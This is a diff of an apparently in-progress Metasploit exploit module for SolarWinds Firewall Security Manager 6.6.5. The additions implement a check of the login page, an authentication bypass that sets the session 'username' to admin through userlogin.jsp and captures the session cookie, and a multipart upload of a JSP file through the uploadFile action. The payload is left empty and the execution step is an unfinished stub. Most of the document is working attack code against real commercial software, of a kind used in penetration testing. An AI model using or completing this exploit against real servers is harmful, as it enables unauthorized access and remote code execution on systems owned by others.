@@ -19,8 +19,8 @@ def initialize(info={})
19
19
6.6.5. The first vulnerability is an authentication bypass via the Change Advisor interface
20
20
due to a user-controlled session.putValue API in userlogin.jsp, allowing the attacker to set
21
21
the 'username' attribute before authentication. The second problem is that the settings-new.jsp
22
- file will only check the 'username' attribute for 'uploadFile' action's authorization , which
23
- can be exploited and allows the attacker to upload a malicious file to the server, and results
22
+ file will only check the 'username' attribute before authorizing the 'uploadFile' action, which
23
+ can be exploited and allows the attacker to upload a fake xls file to the server, and results
24
24
in arbitrary code execution.
25
25
26
26
Depending on the installation, by default the Change Advisor web server is listening on port
@@ -42,7 +42,6 @@ def initialize(info={})
42
42
} ,
43
43
'DefaultOptions' =>
44
44
{
45
- 'EXITFUNC' => "none" ,
46
45
'RPORT' => 48080
47
46
} ,
48
47
'Platform' => 'win' ,
@@ -53,37 +52,115 @@ def initialize(info={})
53
52
'Privileged' => false ,
54
53
'DisclosureDate' => "Mar 13 2015" ,
55
54
'DefaultTarget' => 0 ) )
55
+
56
+ register_options (
57
+ [
58
+ OptString . new ( 'TARGETURI' , [ true , "Base FMS directory path" , '/' ] )
59
+ ] , self . class )
56
60
end
57
61
58
62
59
63
# Returns a checkcode that indicates whether the target is FSM or not
60
64
def check
61
- end
65
+ res = send_request_cgi ( 'uri' => normalize_uri ( target_uri . path , 'fsm' , 'login.jsp' ) )
62
66
67
+ if res && res . body =~ /SolarWinds FSM Change Advisor/i
68
+ return Exploit ::CheckCode ::Detected
69
+ end
63
70
64
- # Creates an arbitrary username by abusing the server's unsafe use of session.putValue
65
- def put_session_value ( value )
71
+ Exploit ::CheckCode ::Safe
66
72
end
67
73
68
74
69
- # Uploads a malicious JSP file and then execute it
70
- def upload_exec ( filename , malicious_file )
71
- end
72
-
73
75
# Exploit/run command
74
76
def exploit
75
77
unless check == Exploit ::CheckCode ::Detected
76
- print_error ( "Target does not appear to be a Solarwinds Firewall Security Manager" )
77
- return
78
+ fail_with ( Failure ::NotVulnerable , 'Target does not appear to be a Solarwinds Firewall Security Manager' )
78
79
end
79
80
80
81
username = 'admin'
81
- print_status ( "Putting session value: #{ username } " )
82
- put_session_value ( 'admin' )
82
+ print_status ( "Putting session value: username=#{ username } " )
83
+ sid = put_session_value ( 'admin' )
84
+ print_status ( "Your SID is: #{ sid } " )
83
85
84
86
filename = "test.jsp"
85
87
malicious_file = ''
86
88
print_status ( "Uploading file: #{ filename } " )
87
- upload_exec ( filename , malicious_file )
89
+ upload_exec ( sid , filename , malicious_file )
90
+ end
91
+
92
+
93
+ private
94
+
95
+
96
+ # Creates an arbitrary username by abusing the server's unsafe use of session.putValue
97
+ def put_session_value ( value )
98
+ res = send_request_cgi (
99
+ 'uri' => normalize_uri ( target_uri . path , 'fsm' , 'userlogin.jsp' ) ,
100
+ 'method' => 'GET' ,
101
+ 'vars_get' => { 'username' => value }
102
+ )
103
+
104
+ unless res
105
+ fail_with ( Failure ::Unknown , 'The connection timed out while setting the session value' )
106
+ end
107
+
108
+ get_sid ( res )
109
+ end
110
+
111
+
112
+ # Returns the session ID
113
+ def get_sid ( res )
114
+ cookies = res . get_cookies
115
+ sid = cookies . scan ( /(JSESSIONID=\w +);*/ ) . flatten [ 0 ] || ''
116
+ sid
88
117
end
118
+
119
+
120
+ # Uploads a malicious file and then execute it
121
+ def upload_exec ( sid , filename , malicious_file )
122
+ res = upload_file ( sid , filename , malicious_file )
123
+
124
+ unless res
125
+ fail_with ( Failure ::Unknown , 'The connection timed out while uploading the malicious file' )
126
+ end
127
+
128
+ exec_file ( sid , filename )
129
+ end
130
+
131
+
132
+ # Uploads a malicious file
133
+ # By default, the file will be saved at the following location:
134
+ # C:\Program Files\SolarWinds\SolarWinds FSMServer\plugins\com.lisletech.athena.http.servlets_1.2\reports\tickets\
135
+ def upload_file ( sid , filename , malicious_file )
136
+ mime_data = Rex ::MIME ::Message . new
137
+ mime_data . add_part ( malicious_file , nil , nil , "name=\" file\" ; filename=\" #{ filename } \" " )
138
+ mime_data . add_part ( 'uploadFile' , nil , nil , 'name="action"' )
139
+
140
+ proto = ssl ? 'https' : 'http'
141
+ ref = "#{ proto } ://#{ rhost } :#{ rport } #{ normalize_uri ( target_uri . path , 'fsm' , 'settings-new.jsp' ) } "
142
+
143
+ send_request_cgi (
144
+ 'uri' => normalize_uri ( target_uri . path , 'fsm' , 'userlogin.jsp' ) ,
145
+ 'method' => 'POST' ,
146
+ 'vars_get' => { 'action' => 'uploadFile' } ,
147
+ 'ctype' => "multipart/form-data; boundary=#{ mime_data . bound } " ,
148
+ 'data' => mime_data . to_s ,
149
+ 'cookie' => sid ,
150
+ 'headers' => { 'Referer' => ref }
151
+ )
152
+ end
153
+
154
+
155
+ # Executes the malicious file and get code execution
156
+ def exec_file ( sid , filename )
157
+ end
158
+
159
+
160
+ # Overrides the original print_status so we make sure we print the rhost and port
161
+ def print_status ( msg )
162
+ super ( "#{ rhost } :#{ rport } - #{ msg } " )
163
+ end
164
+
89
165
end
166
+
0 commit comments